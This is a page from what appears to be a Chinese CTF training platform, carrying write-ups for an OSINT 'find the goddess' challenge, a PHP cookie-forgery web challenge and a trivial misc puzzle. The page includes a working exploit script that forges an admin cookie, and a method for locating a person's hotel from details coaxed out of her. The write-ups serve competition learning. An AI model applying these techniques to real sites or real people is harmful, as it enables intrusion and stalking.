请点击登录查看您的积分和解题数量
积分排行榜排行榜数据每天0点进行更新
- 排名
- 昵称
- 积分
- 解题数量
Writeup分享更多>>
-
2015广州强网杯女神在哪儿
骗取到的手机截图（问女神一般什么时候起床，然后女神随手截了个闹钟图过来）获取信息：ap名: qthjfsbg...； 作息闹钟； 关注的城市天气优雅的找出女神以上是和女神聊了两到三天收集到的信息，此后的工作就是打开我的脑洞，开启数据整理模式。获取到的信息组合如下：2g，信号不好 -->县份消费水平低 -->县份山多 -->盆地有湖 -->可用百度地图查找相似地十几公里外就是海 -->判断地理位置地理位置偏远 -->远离市区市里空气不好 -->确定不在市区地方话严重 -->非本地人，地方话严重河对面热闹 -->县被河贯穿酒店 -->非本地人山多，温州有机场 -->温州附近ap名：qthjfsbg... -->ap有利判断作息：早8:20左右 -->了解作息，方便贴靠关注北京天气 -->关注城市女神在南方的一个县城里；因为提到河对面是比较热闹的，有可能女神所在的县是被河贯穿的；所在地离海边有一定距离；没有机场；远离市区；在酒店里住；四面环山。推论：女神在南方的一个县城里；因为提到河对面是比较热闹的，有可能女神所在的县是被河贯穿的；所在地离海边有一定距离；没有机场；远离市区；在酒店里住；四面环山。这些基础信息分析完，开始找出女神。等着我……1、搜索范围推测：女神在浙江温州一带，我把地图掏出来，根据“十几公里外就是海”，我把100 公里以内的区域都算入推算范围内由于定位是县级，直接排除所有市级。2、缩小至县酒店ap名:qthjfsbg首先我把酒店的ap命名规则这么猜测：某市某酒店、某市某县某酒店之类的命名规则，然后把qthjfsbg 套入，把qt想成了钱塘。这也很符合百公里以内到海的地方，但是我排除了市级地方，那会不会是钱塘周边的县？于是查找钱塘周边符合hj命名的县。百度中输入“钱塘hj”，结果都不符合我的要求，那就开始怀疑自己猜错了。只能放弃放弃“钱塘”，重新思考。由于女神提到温州，我从温州周边入手，再次把范围缩小，离温州海边100公里以内的地区纳入推测。女神提到了一项很重要的信息：周围都是山，有湖，有河。于是我开启了地图的卫星地貌模式。在地图的卫星地貌模式中，可以看到，既然有河，那最后是汇入到入海口的，所以我直接从入海口一路反推，发现一个地名为青田[qt]的县。红圈地方好象是开发得比较完善的区域，如果女神是在个县，那就她就在红圈的对岸。根据酒店ap显示，青田县后面是“hj”，是街道还是别的名称？放大地图找了半天也没找到符合hj的街道，陷入沉思……此时，突然发现百度左侧有个功能，可以看当地有什么住宿的地方。如果女神手机截屏显示的是酒店ap，那我点地图上的订酒店，尝试是否找到符合这个ap名称的酒店。柳暗花明又一村！幸好小县城酒店并不多，一家一家查找下来，果然发现了一家名为[青田皇家风尚宾馆] 的住处锁定女神下榻酒店！柳暗花明又一村！ flag{青田皇家风尚宾馆}
Crypto分享人： 2716 2 19 -
“百度杯”CTF比赛 九月场Code
百度杯-九月场-code00x0打开赛题链接，发现题目链接可能存在文件读取。于是尝试输入index.php。查看源码，发现base64加密过的源代码00x1讲源代码解密后如下：<?php /** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */ header('content-type:text/html;charset=utf-8'); if(! isset($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=hei.jpg'); $file = $_GET['jpg']; echo '<title>file:'.$file.'</title>'; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); $file = str_replace("config","_", $file); $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64,".$txt."'>/</img>"; /* * Can you find the flag file? * */?>00x2访问:http://e11eec896ded4871a4ba2cfbbfdf566660cd0fb8ba5b4c97.changame.ichunqiu.com/.idea/workspace.xml发现存在fl3g_ichunqiu.php文件，猜测flag在里面仔细阅读上面的源代码，发现有一个替换，会将config替换成_00x3访问：http://e11eec896ded4871a4ba2cfbbfdf566660cd0fb8ba5b4c97.changame.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php得到一串加密后的源代码，将其进行base64解密得到如下代码<?php/** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */error_reporting(E_ALL || ~E_NOTICE);include('config.php');function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash;}function encrypt($txt,$key){ for($i=0;$i<strlen($txt);$i++){ $tmp .= chr(ord($txt[$i])+10); } $txt = $tmp; $rnd=random(4); $key=md5($rnd.$key); $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $ttmp .= $txt[$i] ^ $key[++$s]; } return base64_encode($rnd.$ttmp);}function decrypt($txt,$key){ $txt=base64_decode($txt); $rnd = substr($txt,0,4); $txt = substr($txt,4); $key=md5($rnd.$key); $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $tmp .= $txt[$i]^$key[++$s]; } for($i=0;$i<strlen($tmp);$i++){ $tmp1 .= chr(ord($tmp[$i])-10); } return $tmp1;}$username = decrypt($_COOKIE['user'],$key);if ($username == 'system'){ echo $flag;}else{ setcookie('user',encrypt('guest',$key)); echo "╮(╯▽╰)╭";}?>00x4通过阅读代码可以得知我们需要传入cookie的值system来输出flag。由加密函数我们可以得出key值，然后我们在进行加密即可。代码如下import base64import requestsimport stringcrypt = 'Y0o1dUJLC01N'text = 'guest'crypt = base64.b64decode(crypt)rnd = crypt[0:4]crypt = crypt[4:] tmp = ''for i in range(5): tmp += chr(ord(text[i]) + 10)key = ''for i in range(5): key += chr(ord(tmp[i]) ^ ord(crypt[i]))cookies = []system = 'system'tt = ''for i in range(6): tt += chr(ord(system[i]) + 10)for i in '0123456789abcdef': #这里为啥是"1-f"，因为md5最终返回的数值是16进制对应的字符是0~9 a~f,所以这里范围为这一段 true_key = key + i tmp = '' for i in range(6): tmp += chr(ord(true_key[i]) ^ ord(tt[i])) cookies.append(base64.b64encode(rnd + tmp))for i in cookies: cookie = {'user' : i} r = requests.session() result = r.get('http://16f8b7fc777444e38af9e234404cec95d069d121e5d7435a.game.ichunqiu.com/fl3g_ichuqiu.php', cookies = cookie) print result.text运行代码成功获取flag.总结1.PhpStorm使用phpstorm 创建的文件里面会有一个.idea文件夹，里面存储这一个配置文件其中workspace.xml可以显示网站的大致结构。2.base64_decode($str)功能：对base64编码的数据进行解码例子：代码如下<?php$str = 'VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==';echo base64_decode($str);?>输出结果：This is an encoded string3.".= " 作用连接两个字符串4.MD5加密产生的32位是由0-f组合的。5.异或：A = C^B 那么 B = A ^ C6.爬虫获取代码 cookie = {'user' : i} r = requests.session() result = r.get('http://16f8b7fc777444e38af9e234404cec95d069d121e5d7435a.game.ichunqiu.com/fl3g_ichuqiu.php', cookies = cookie) print result.text7.队列的操作cookies.append(base64.b64encode(rnd + tmp))队列添加元素。
Web分享人： 2290 0 7 -
2016全国大学生信息安全竞赛你好，i春秋
首先关注公众号->回复CTF->关注了->星期一到星期天全发一遍总有一个可以->你好->是->不愿意
Misc分享人： 697 0 0
解题动态
- 风二西 解出了 Test 2019.09.22 01:01
- chengqingwang 解出了 Upload 2019.09.22 00:42
- 一帮大肥猪 解出了 SQL 2019.09.22 00:37
- 手机用户lm0YYa 解出了 Code 2019.09.22 00:32
- kabeo 解出了 手贱的A君 2019.09.22 00:18
- kabeo 解出了 Base64 2019.09.22 00:17
- kabeo 解出了 Upload 2019.09.22 00:11
- 烈焰流星 解出了 小心猪圈 2019.09.22 00:04
- derekcdeng 解出了 include 2019.09.22 00:00
- 风二西 解出了 爆破-3 2019.09.21 23:59
